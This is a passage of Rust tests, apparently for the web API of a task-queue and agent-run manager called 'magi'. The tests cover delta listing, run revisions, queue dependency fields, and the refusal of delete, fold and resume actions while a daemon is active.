14021 .find(|row| row["id"] == blocked.id)
14022 .unwrap()["waits_on"]
14023 );
14024
14025 for id in [
14026 "20260902-140501-aaaa",
14027 "20260902-140502-bbbb",
14028 "20260902-140503-cccc",
14029 ] {
14030 write_run(&ui.runs, id, RunStatus::Merged);
14031 }
14032 let old = serde_json::to_value(
14033 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14034 .await
14035 .unwrap()
14036 .0,
14037 )
14038 .unwrap();
14039 assert!(
14040 old.as_array().unwrap().is_empty(),
14041 "older updates must not enter the window"
14042 );
14043 let newest = serde_json::to_value(
14044 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14045 .await
14046 .unwrap()
14047 .0,
14048 )
14049 .unwrap();
14050 assert_eq!(newest.as_array().unwrap().len(), 1);
14051 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14052
14053 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14054 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14055 let talks = serde_json::to_value(
14056 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14057 .await
14058 .unwrap()
14059 .0,
14060 )
14061 .unwrap();
14062 assert_eq!(talks.as_array().unwrap().len(), 1);
14063 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14064 assert_eq!(
14065 serde_json::to_value(
14066 talks_list(State(ui.clone()), query(Some("")))
14067 .await
14068 .unwrap()
14069 .0
14070 )
14071 .unwrap(),
14072 serde_json::json!([])
14073 );
14074 }
14075
14076 #[tokio::test]
14077 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14078 async fn delta_payload_benchmark() {
14079 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14080 let ui = delta_test_ui(&home);
14081 let query = |ids: Option<String>| {
14082 Query(ListQuery {
14083 limit: Some(50),
14084 ids,
14085 })
14086 };
14087 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14088 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14089 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14090 let queue_id = queue
14091 .iter()
14092 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14093 .unwrap_or(&queue[0])
14094 .task
14095 .id
14096 .clone();
14097 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14098 .await
14099 .unwrap()
14100 .0;
14101 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14102 .await
14103 .unwrap()
14104 .0;
14105 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14106 .await
14107 .unwrap()
14108 .0;
14109 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14110 eprintln!(
14111 "DELTA_PAYLOAD {}",
14112 serde_json::json!({
14113 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14114 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14115 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14116 "counts": [queue.len(), runs.len(), talks.len()],
14117 "blocked": queue_delta.len() - 1,
14118 })
14119 );
14120 }
14121
14122 #[test]
14123 fn runs_revision_moves_when_deleting_an_older_run() {
14124 let temp = TempDir::new().expect("tempdir");
14125 let runs = temp.path().join("runs");
14126 std::fs::create_dir_all(&runs).expect("create runs dir");
14127
14128 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14129
14130 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14131 std::thread::sleep(Duration::from_millis(10));
14132 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14133
14134 let rev_before = runs_revision(&runs);
14135 assert!(rev_before > 0);
14136
14137 let old_dir = runs.join("20260901-100000-old1");
14138 std::fs::remove_dir_all(&old_dir).expect("remove old run");
14139
14140 let rev_after = runs_revision(&runs);
14141 assert_ne!(
14142 rev_before, rev_after,
14143 "deleting an older run must change the revision so other clients see the deletion"
14144 );
14145 }
14146
14147 fn write_state(runs: &FsPath, state: &RunState) {
14152 let dir = runs.join(&state.id);
14153 std::fs::create_dir_all(&dir).expect("run dir");
14154 std::fs::write(
14155 dir.join("run.json"),
14156 serde_json::to_string_pretty(state).expect("serialize run"),
14157 )
14158 .expect("write run.json");
14159 }
14160
14161 #[test]
14166 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14167 let temp = TempDir::new().expect("tempdir");
14168 let runs = temp.path().join("runs");
14169 std::fs::create_dir_all(&runs).expect("create runs dir");
14170 let mut state = RunState::new(
14171 PathBuf::from("/repo/magi"),
14172 "main".to_owned(),
14173 "0123456789abcdef".to_owned(),
14174 "task".to_owned(),
14175 Config::default(),
14176 );
14177 state.id = "20260902-100000-c0de".to_owned();
14178 write_state(&runs, &state);
14179
14180 let rev_idle = runs_revision(&runs);
14181 std::thread::sleep(Duration::from_millis(10));
14182 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14183 write_state(&runs, &state);
14184 let rev_started = runs_revision(&runs);
14185 assert_ne!(
14186 rev_idle, rev_started,
14187 "a seat starting must move the revision"
14188 );
14189
14190 std::thread::sleep(Duration::from_millis(10));
14191 state.seat_finished("judge-1");
14192 write_state(&runs, &state);
14193 let rev_finished = runs_revision(&runs);
14194 assert_ne!(
14195 rev_started, rev_finished,
14196 "and clearing it again must move the revision a second time"
14197 );
14198 }
14199
14200 #[tokio::test]
14201 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14202 let fx = Fixture::start().await;
14207 let q = fx.queue();
14208
14209 let mut t = Task::new(
14210 "Task".to_owned(),
14211 "Instruction".to_owned(),
14212 PathBuf::from("/repo"),
14213 Source::Human,
14214 );
14215 t.block(
14216 vec!["20260101-000000-dead".to_owned()],
14217 Some("waiting on Task 1".to_owned()),
14218 );
14219 t.answers.push(crate::queue::AnsweredQuestion {
14220 question: "Which backend?".to_owned(),
14221 answer: "SQLite".to_owned(),
14222 });
14223 q.put(&mut t).expect("put t");
14224
14225 let res = fx.get("/api/queue").await;
14226 assert_eq!(res.status, 200);
14227 let list = res.json();
14228 let view = list
14229 .as_array()
14230 .expect("array")
14231 .iter()
14232 .find(|v| v["id"] == t.id)
14233 .expect("task in list");
14234 assert_eq!(view["status_str"], "blocked");
14235 assert_eq!(
14236 view["blocked_by"],
14237 serde_json::json!(["20260101-000000-dead"])
14238 );
14239 assert_eq!(view["block_reason"], "waiting on Task 1");
14240 assert_eq!(view["answers"][0]["question"], "Which backend?");
14241 assert_eq!(view["answers"][0]["answer"], "SQLite");
14242
14243 let res = fx
14247 .post(&format!("/api/queue/{}/hold", t.short()), None)
14248 .await;
14249 assert_eq!(res.status, 200);
14250 let held = res.json();
14251 assert_eq!(held["status_str"], "held");
14252 assert_eq!(held["blocked_by"], serde_json::json!([]));
14253 assert!(held["block_reason"].is_null());
14254 assert_eq!(held["answers"][0]["answer"], "SQLite");
14255 }
14256
14257 #[tokio::test]
14258 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14259 let fx = Fixture::start().await;
14260 let q = fx.queue();
14261 let mk = |title: &str| {
14262 Task::new(
14263 title.to_owned(),
14264 "Instruction".to_owned(),
14265 PathBuf::from("/repo"),
14266 Source::Human,
14267 )
14268 };
14269 let mut root = mk("root");
14270 root.hold_manual(Some("waiting".to_owned()));
14271 q.put(&mut root).unwrap();
14272 let mut mid = mk("mid");
14273 mid.block(vec![root.id.clone()], None);
14274 q.put(&mut mid).unwrap();
14275 let mut leaf = mk("leaf");
14276 leaf.block(vec![mid.id.clone()], None);
14277 q.put(&mut leaf).unwrap();
14278
14279 let list = fx.get("/api/queue").await.json();
14280 let find = |id: &str| {
14281 list.as_array()
14282 .unwrap()
14283 .iter()
14284 .find(|v| v["id"] == id)
14285 .unwrap()
14286 .clone()
14287 };
14288 let leaf_view = find(&leaf.id);
14289 assert_eq!(
14290 leaf_view["waits_on"],
14291 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14292 );
14293 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14294 assert_eq!(
14295 find(&mid.id)["waits_on"],
14296 serde_json::json!([format!("{} (held)", root.short())])
14297 );
14298 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14299 }
14300
14301 #[tokio::test]
14302 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14303 let fx = Fixture::start().await;
14304 let q = fx.queue();
14305
14306 let mut t1 = Task::new(
14308 "Task 1".to_owned(),
14309 "Instruction 1".to_owned(),
14310 PathBuf::from("/repo"),
14311 Source::Human,
14312 );
14313 let run_id = "20260901-000000-r111";
14314 t1.runs.push(run_id.to_owned());
14315 write_run(&fx.runs(), run_id, RunStatus::Merged);
14316 q.put(&mut t1).expect("put t1");
14317
14318 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14320 assert_eq!(res.status, 204);
14321 assert!(res.body.is_empty(), "204 No Content has no body");
14322 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14323 assert!(
14324 fx.runs().join(run_id).exists(),
14325 "run directory must not be deleted when its task is deleted"
14326 );
14327
14328 let mut t2 = Task::new(
14330 "Task 2".to_owned(),
14331 "Instruction 2".to_owned(),
14332 PathBuf::from("/repo"),
14333 Source::Human,
14334 );
14335 t2.status = TaskStatus::Running;
14336 q.put(&mut t2).expect("put t2");
14337 let mut beat = crate::daemon::Status::new();
14338 beat.current = vec![crate::daemon::Current {
14339 task: t2.id.clone(),
14340 run: "20260901-000000-r222".to_owned(),
14341 }];
14342 beat.updated_at = jiff::Timestamp::now();
14343 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14344 .expect("publish a heartbeat");
14345 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14346 assert_eq!(res.status, 409);
14347 assert!(
14348 res.json()["error"]
14349 .as_str()
14350 .unwrap()
14351 .contains("live daemon")
14352 );
14353 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14354
14355 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14361 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14362 .expect("leave a stale heartbeat");
14363 let mut t3 = Task::new(
14364 "Task 3".to_owned(),
14365 "Instruction 3".to_owned(),
14366 PathBuf::from("/repo"),
14367 Source::Human,
14368 );
14369 t3.status = TaskStatus::Running;
14370 q.put(&mut t3).expect("put t3");
14371 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14372 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14373 assert_eq!(res.status, 204);
14374 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14375 assert!(
14376 q.claim(&t3.id).is_ok(),
14377 "the stale lock went with it, so the id is claimable again"
14378 );
14379
14380 let res = fx.delete("/api/queue/nonexistent").await;
14382 assert_eq!(res.status, 404);
14383 }
14384
14385 #[tokio::test]
14386 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14387 let fx = Fixture::start().await;
14388 let runs = fx.runs();
14389
14390 let run_id = "20260901-000000-fold";
14392 let mut state = RunState::new(
14393 PathBuf::from("/repo"),
14394 "main".to_owned(),
14395 "abc".to_owned(),
14396 "instruction".to_owned(),
14397 Config::default(),
14398 );
14399 state.id = run_id.to_owned();
14400 state.status = RunStatus::Merged;
14401 state.candidates.push(crate::run::Candidate {
14402 index: 0,
14403 label: 'A',
14404 agent: "a".to_owned(),
14405 branch: "b".to_owned(),
14406 worktree: PathBuf::from("/w"),
14407 summary: String::new(),
14408 stat: String::new(),
14409 files: 1,
14410 commits: 1,
14411 empty: false,
14412 failed: None,
14413 verified_noop: None,
14414 duration_ms: 0,
14415 folded: true,
14416 });
14417 let dir = runs.join(run_id);
14418 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14419 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14420 .expect("write artifact");
14421 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14422 .expect("write run.json");
14423
14424 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14426 assert_eq!(res.status, 204);
14427 assert!(res.body.is_empty(), "204 has no body");
14428 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14429
14430 let run_running = "20260901-000000-rung";
14435 write_run(&runs, run_running, RunStatus::Prep);
14436 let mut beat = crate::daemon::Status::new();
14437 beat.current = vec![crate::daemon::Current {
14438 task: "20260901-000000-task".to_owned(),
14439 run: run_running.to_owned(),
14440 }];
14441 beat.updated_at = jiff::Timestamp::now();
14442 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14443 .expect("publish a heartbeat");
14444 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14445 assert_eq!(res.status, 409);
14446 assert!(
14447 res.json()["error"]
14448 .as_str()
14449 .unwrap()
14450 .contains("live daemon"),
14451 "the refusal must say who is holding it"
14452 );
14453 assert!(
14454 runs.join(run_running).exists(),
14455 "a run in flight keeps its directory"
14456 );
14457
14458 let run_unfolded = "20260901-000000-unfd";
14460 let mut state2 = RunState::new(
14461 PathBuf::from("/repo"),
14462 "main".to_owned(),
14463 "abc".to_owned(),
14464 "instruction".to_owned(),
14465 Config::default(),
14466 );
14467 state2.id = run_unfolded.to_owned();
14468 state2.status = RunStatus::Ready;
14469 state2.candidates.push(crate::run::Candidate {
14470 index: 0,
14471 label: 'A',
14472 agent: "a".to_owned(),
14473 branch: "b".to_owned(),
14474 worktree: PathBuf::from("/w"),
14475 summary: String::new(),
14476 stat: String::new(),
14477 files: 1,
14478 commits: 1,
14479 empty: false,
14480 failed: None,
14481 verified_noop: None,
14482 duration_ms: 0,
14483 folded: false,
14484 });
14485 let dir2 = runs.join(run_unfolded);
14486 std::fs::create_dir_all(&dir2).expect("create dir2");
14487 std::fs::write(
14488 dir2.join("run.json"),
14489 serde_json::to_string(&state2).unwrap(),
14490 )
14491 .expect("write run.json");
14492
14493 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14494 assert_eq!(res.status, 409);
14495 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14496 assert!(dir2.exists(), "unfolded run directory is kept");
14497
14498 let res = fx.delete("/api/runs/nonexistent").await;
14500 assert_eq!(res.status, 404);
14501 }
14502
14503 #[test]
14512 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14513 let start = APP_JS
14514 .find("function renderStats() {")
14515 .expect("renderStats");
14516 let end = start
14517 + APP_JS[start..]
14518 .find("function statsTile(")
14519 .expect("the next top-level function");
14520 let body = &APP_JS[start..end];
14521
14522 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14523 let gate_end = gate_start
14524 + body[gate_start..]
14525 .find("}\n renderStatsQueue")
14526 .expect("the gate's own closing brace, right before the unconditional call");
14527 let gated = &body[gate_start..gate_end];
14528
14529 assert_eq!(
14530 body.matches("renderStatsQueue(").count(),
14531 1,
14532 "renderStats must call renderStatsQueue exactly once: {body}"
14533 );
14534 assert!(
14535 !gated.contains("renderStatsQueue"),
14536 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14537 run-derived panels on an empty run history - the queue panel has to render \
14538 regardless: {gated}"
14539 );
14540 }
14541
14542 #[test]
14543 fn web_ui_delete_contract_in_front_end() {
14544 assert!(APP_JS.contains("deleteRun:"));
14546 assert!(APP_JS.contains("deleteTask:"));
14547
14548 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14550 ..APP_JS.find("function renderRuns").unwrap()];
14551 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14552
14553 assert!(APP_JS.contains("renderRunDelete"));
14555 assert!(APP_JS.contains("runDeleteReason"));
14556 assert!(APP_JS.contains("magi fold"));
14557 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14558
14559 assert!(APP_JS.contains("cancel.focus"));
14561 assert!(APP_JS.contains("armedRunDelete"));
14562 assert!(APP_JS.contains("renderTaskDeleteBox"));
14563 assert!(APP_JS.contains("armed${cap(key)}"));
14564
14565 assert!(APP_JS.contains("disabled: status === \"running\""));
14567 }
14568
14569 #[test]
14589 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14590 let build = APP_JS
14591 .find("function createRunCard")
14592 .expect("createRunCard exists");
14593 let update = APP_JS
14594 .find("function updateRunCard")
14595 .expect("updateRunCard exists");
14596 let end = APP_JS
14597 .find("function renderRuns")
14598 .expect("renderRuns exists");
14599
14600 let builder = &APP_JS[build..update];
14602 let open = builder.find("refs = {").expect("createRunCard sets refs");
14603 let literal = &builder[open + "refs = {".len()..];
14604 let close = literal.find('}').expect("the refs literal is closed");
14605 let published: HashSet<&str> = literal[..close]
14606 .split(',')
14607 .filter_map(|entry| entry.split(':').next())
14609 .map(str::trim)
14610 .filter(|name| !name.is_empty())
14611 .collect();
14612 assert!(
14613 published.len() > 5,
14614 "the refs literal did not parse into names: {published:?}"
14615 );
14616
14617 let mut used: Vec<&str> = Vec::new();
14620 let updaters = &APP_JS[update..end];
14621 for (at, _) in updaters.match_indices("r.") {
14622 let before = updaters[..at].chars().next_back();
14625 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14626 continue;
14627 }
14628 let rest = &updaters[at + 2..];
14629 let len = rest
14630 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14631 .unwrap_or(rest.len());
14632 if len > 0 {
14633 used.push(&rest[..len]);
14634 }
14635 }
14636 assert!(
14637 used.len() > 5,
14638 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14639 );
14640
14641 let missing: Vec<&str> = used
14642 .iter()
14643 .copied()
14644 .filter(|name| !published.contains(name))
14645 .collect();
14646 assert!(
14647 missing.is_empty(),
14648 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14649 never put in `refs` - every card will throw and the list will \
14650 render empty under a count line that says otherwise. Published: \
14651 {published:?}"
14652 );
14653 }
14654
14655 #[tokio::test]
14656 async fn folding_from_the_phone_reports_what_it_removed() {
14657 let fx = Fixture::start().await;
14658 let runs = fx.runs();
14659
14660 let id = "20260901-000000-fold";
14664 write_run(&runs, id, RunStatus::Stalled);
14665 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14666 assert_eq!(res.status, 200);
14667 assert_eq!(res.json()["removed_count"], 0);
14668 assert_eq!(res.json()["run"], id);
14669 assert!(
14670 runs.join(id).exists(),
14671 "a fold keeps the run's record; only the worktrees go"
14672 );
14673 }
14674
14675 #[tokio::test]
14676 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14677 let fx = Fixture::start().await;
14678 let runs = fx.runs();
14679 let wt = fx.home.path().join("wt").join("magi").join("dead");
14680 let id = "20260901-000000-dead";
14681 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14682 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14683 std::fs::create_dir_all(&wt).expect("worktree dir");
14684
14685 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14686 assert_eq!(res.status, 200, "{}", res.body);
14687 assert!(
14688 res.json()["removed_count"].as_u64().unwrap() > 0,
14689 "the worktree this build could not read a state for still went"
14690 );
14691 assert!(
14692 !runs.join(id).exists(),
14693 "an unreadable run has no candidate list to fold selectively, so \
14694 the whole record goes - same as `magi fold` on the CLI"
14695 );
14696 }
14697
14698 #[tokio::test]
14699 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14700 let fx = Fixture::start().await;
14701 let runs = fx.runs();
14702 let wt = fx.home.path().join("wt").join("magi").join("gone");
14703 let id = "20260901-000000-gone";
14704 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14705 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14706 std::fs::create_dir_all(&wt).expect("worktree dir");
14707
14708 let res = fx.delete(&format!("/api/runs/{id}")).await;
14709 assert_eq!(res.status, 204, "{}", res.body);
14710 assert!(!runs.join(id).exists(), "the broken record is gone");
14711 assert!(!wt.exists(), "its worktree is gone too");
14712 }
14713
14714 #[tokio::test]
14715 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14716 let fx = Fixture::start().await;
14717 let runs = fx.runs();
14718 let id = "20260901-000000-live";
14719 write_run(&runs, id, RunStatus::Implementing);
14720
14721 let mut beat = crate::daemon::Status::new();
14722 beat.current = vec![crate::daemon::Current {
14723 task: "20260901-000000-task".to_owned(),
14724 run: id.to_owned(),
14725 }];
14726 beat.updated_at = jiff::Timestamp::now();
14727 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14728 .expect("publish a heartbeat");
14729
14730 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14731 assert_eq!(res.status, 409);
14732 assert!(
14733 res.json()["error"]
14734 .as_str()
14735 .unwrap()
14736 .contains("live daemon"),
14737 "folding under a running agent would pull its worktree away"
14738 );
14739 }
14740
14741 #[tokio::test]
14742 async fn fold_merged_requires_a_pr_url() {
14743 let fx = Fixture::start().await;
14744 let runs = fx.runs();
14745 let id = "20260901-000000-nourl";
14746 write_run(&runs, id, RunStatus::Blocked);
14747
14748 let res = fx
14749 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14750 .await;
14751 assert_eq!(res.status, 400, "{}", res.body);
14752
14753 let blank = fx
14754 .post(
14755 &format!("/api/runs/{id}/fold-merged"),
14756 Some(r#"{"pr_url":" "}"#),
14757 )
14758 .await;
14759 assert_eq!(blank.status, 400, "{}", blank.body);
14760 }
14761
14762 #[tokio::test]
14763 async fn fold_merged_is_404_for_an_unknown_run() {
14764 let fx = Fixture::start().await;
14765 let res = fx
14766 .post(
14767 "/api/runs/nosuchrun/fold-merged",
14768 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14769 )
14770 .await;
14771 assert_eq!(res.status, 404, "{}", res.body);
14772 }
14773
14774 #[tokio::test]
14775 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14776 let fx = Fixture::start().await;
14777 let runs = fx.runs();
14778 let id = "20260901-000000-livemerge";
14779 write_run(&runs, id, RunStatus::Blocked);
14780
14781 let mut beat = crate::daemon::Status::new();
14782 beat.current = vec![crate::daemon::Current {
14783 task: "20260901-000000-task".to_owned(),
14784 run: id.to_owned(),
14785 }];
14786 beat.updated_at = jiff::Timestamp::now();
14787 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14788 .expect("publish a heartbeat");
14789
14790 let res = fx
14791 .post(
14792 &format!("/api/runs/{id}/fold-merged"),
14793 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14794 )
14795 .await;
14796 assert_eq!(res.status, 409, "{}", res.body);
14797 assert!(
14798 res.json()["error"]
14799 .as_str()
14800 .unwrap()
14801 .contains("live daemon"),
14802 "correcting a run's merge underneath a running agent would race \
14803 whatever it is doing to the same `status`/`merge` fields"
14804 );
14805 }
14806
14807 #[tokio::test]
14812 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14813 let fx = Fixture::start().await;
14814 let runs = fx.runs();
14815 let id = "20260901-000000-unconfirmed";
14816 write_run(&runs, id, RunStatus::Blocked);
14817
14818 let res = fx
14819 .post(
14820 &format!("/api/runs/{id}/fold-merged"),
14821 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14822 )
14823 .await;
14824 assert_eq!(res.status, 400, "{}", res.body);
14825 assert_eq!(
14826 read_run(&runs, id).unwrap().status,
14827 RunStatus::Blocked,
14828 "a pull request that could not be confirmed merged must leave \
14829 the run exactly where it was"
14830 );
14831 }
14832
14833 #[tokio::test]
14834 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14835 let fx = Fixture::start().await;
14836 let runs = fx.runs();
14837
14838 for (status, word) in [
14844 (RunStatus::Merged, "merged"),
14845 (RunStatus::Ready, "ready"),
14846 (RunStatus::Failed, "failed"),
14847 ] {
14848 let id = format!("20260901-000000-{}", &word[..4]);
14849 write_run(&runs, &id, status);
14850 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14851 assert_eq!(res.status, 409, "{word} must not be resumable");
14852 let err = res.json()["error"].as_str().unwrap().to_owned();
14853 assert!(err.contains(word), "the refusal names the status: {err}");
14854 }
14855
14856 let mid = "20260901-000000-midf";
14861 write_run(&runs, mid, RunStatus::Reviewing);
14862 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14863 assert_eq!(res.status, 202, "an interrupted run is resumable");
14864 }
14865
14866 #[tokio::test]
14867 async fn resume_is_refused_while_the_loop_is_running() {
14868 let fx = Fixture::start().await;
14869 let runs = fx.runs();
14870 let stalled = "20260901-000000-stal";
14871 write_run(&runs, stalled, RunStatus::Stalled);
14872
14873 let mut beat = crate::daemon::Status::new();
14877 beat.current = vec![crate::daemon::Current {
14878 task: "20260901-000000-task".to_owned(),
14879 run: "20260901-000000-othr".to_owned(),
14880 }];
14881 beat.updated_at = jiff::Timestamp::now();
14882 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14883 .expect("publish a heartbeat");
14884
14885 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14886 assert_eq!(res.status, 409);
14887 let err = res.json()["error"].as_str().unwrap().to_owned();
14888 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14889 assert!(err.contains("stop it first"), "{err}");
14890 }
14891
14892 #[test]
14893 fn a_run_cannot_be_resumed_twice_at_once() {
14894 let home = TempDir::new().expect("temp home");
14895 let ui = Ui::new(
14896 Queue::at(home.path().join("queue")),
14897 Questions::at(home.path().join("questions")),
14898 Talks::at(home.path().join("talks")),
14899 home.path().join("runs"),
14900 home.path().to_path_buf(),
14901 PathBuf::from("/repo"),
14902 )
14903 .with_worktrees_root(home.path().join("wt"));
14904 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14905 let again = ui.begin_resume("20260901-000000-once");
14906 assert!(again.is_err(), "a second tap must not start a second graph");
14907 drop(first);
14908 assert!(
14909 ui.begin_resume("20260901-000000-once").is_ok(),
14910 "and the claim is released when the attempt ends"
14911 );
14912 }
14913
14914 #[test]
14915 fn talk_thinking_tracks_only_its_held_turn_claim() {
14916 let home = TempDir::new().expect("temp home");
14917 let ui = Ui::new(
14918 Queue::at(home.path().join("queue")),
14919 Questions::at(home.path().join("questions")),
14920 Talks::at(home.path().join("talks")),
14921 home.path().join("runs"),
14922 home.path().to_path_buf(),
14923 PathBuf::from("/repo"),
14924 )
14925 .with_worktrees_root(home.path().join("wt"));
14926 let id = "20260901-000000-once";
14927
14928 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14929 let turn = ui.begin_talk_turn(id).expect("claim turn");
14930 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14931 assert!(
14932 !ui.is_thinking("20260901-000000-other"),
14933 "one talk's turn does not make another talk busy"
14934 );
14935 drop(turn);
14936 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14937 }
14938
14939 #[test]
14940 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14941 let home = TempDir::new().expect("temp home");
14942 let talks = Talks::at(home.path().join("talks"));
14943 let ui = Ui::new(
14944 Queue::at(home.path().join("queue")),
14945 Questions::at(home.path().join("questions")),
14946 talks.clone(),
14947 home.path().join("runs"),
14948 home.path().to_path_buf(),
14949 PathBuf::from("/repo"),
14950 )
14951 .with_worktrees_root(home.path().join("wt"));
14952 let id = "20260901-000000-cross";
14953
14954 let other = Talks::at(home.path().join("talks"))
14955 .claim_turn(id)
14956 .expect("claim")
14957 .expect("the other process wins");
14958 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14959 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14960 assert!(
14961 matches!(
14962 ui.begin_talk_turn_unless_pending(id).expect("start"),
14963 TalkTurnStart::Foreign
14964 ),
14965 "a foreign holder is refused, not queued behind"
14966 );
14967 assert!(
14968 !ui.talk_turns.lock().unwrap().live.contains(id),
14969 "a refused claim leaves no in-process entry behind"
14970 );
14971 drop(other);
14972 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14973 assert!(talks.turn_held(id), "the web turn holds the lease");
14974 drop(turn);
14975 assert!(
14976 !talks.turn_held(id),
14977 "dropping the guard releases the lease"
14978 );
14979 }
14980
14981 #[test]
14982 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14983 let home = TempDir::new().expect("temp home");
14984 let talks = Talks::at(home.path().join("talks"));
14985 let ui = Ui::new(
14986 Queue::at(home.path().join("queue")),
14987 Questions::at(home.path().join("questions")),
14988 talks.clone(),
14989 home.path().join("runs"),
14990 home.path().to_path_buf(),
14991 PathBuf::from("/repo"),
14992 )
14993 .with_worktrees_root(home.path().join("wt"));
14994 let id = "20260901-000000-order";
14995 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14996 let slots = ui.talk_turns.lock().unwrap();
14998 let dropper = std::thread::spawn(move || drop(turn));
14999 let start = std::time::Instant::now();
15000 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15001 std::thread::sleep(Duration::from_millis(5));
15002 }
15003 assert!(!talks.turn_held(id), "the lease is released first");
15004 assert!(slots.live.contains(id), "the slot is still held meanwhile");
15005 drop(slots);
15006 dropper.join().expect("join");
15007 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15008 }
15009
15010 #[tokio::test]
15011 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15012 let fx = Fixture::start().await;
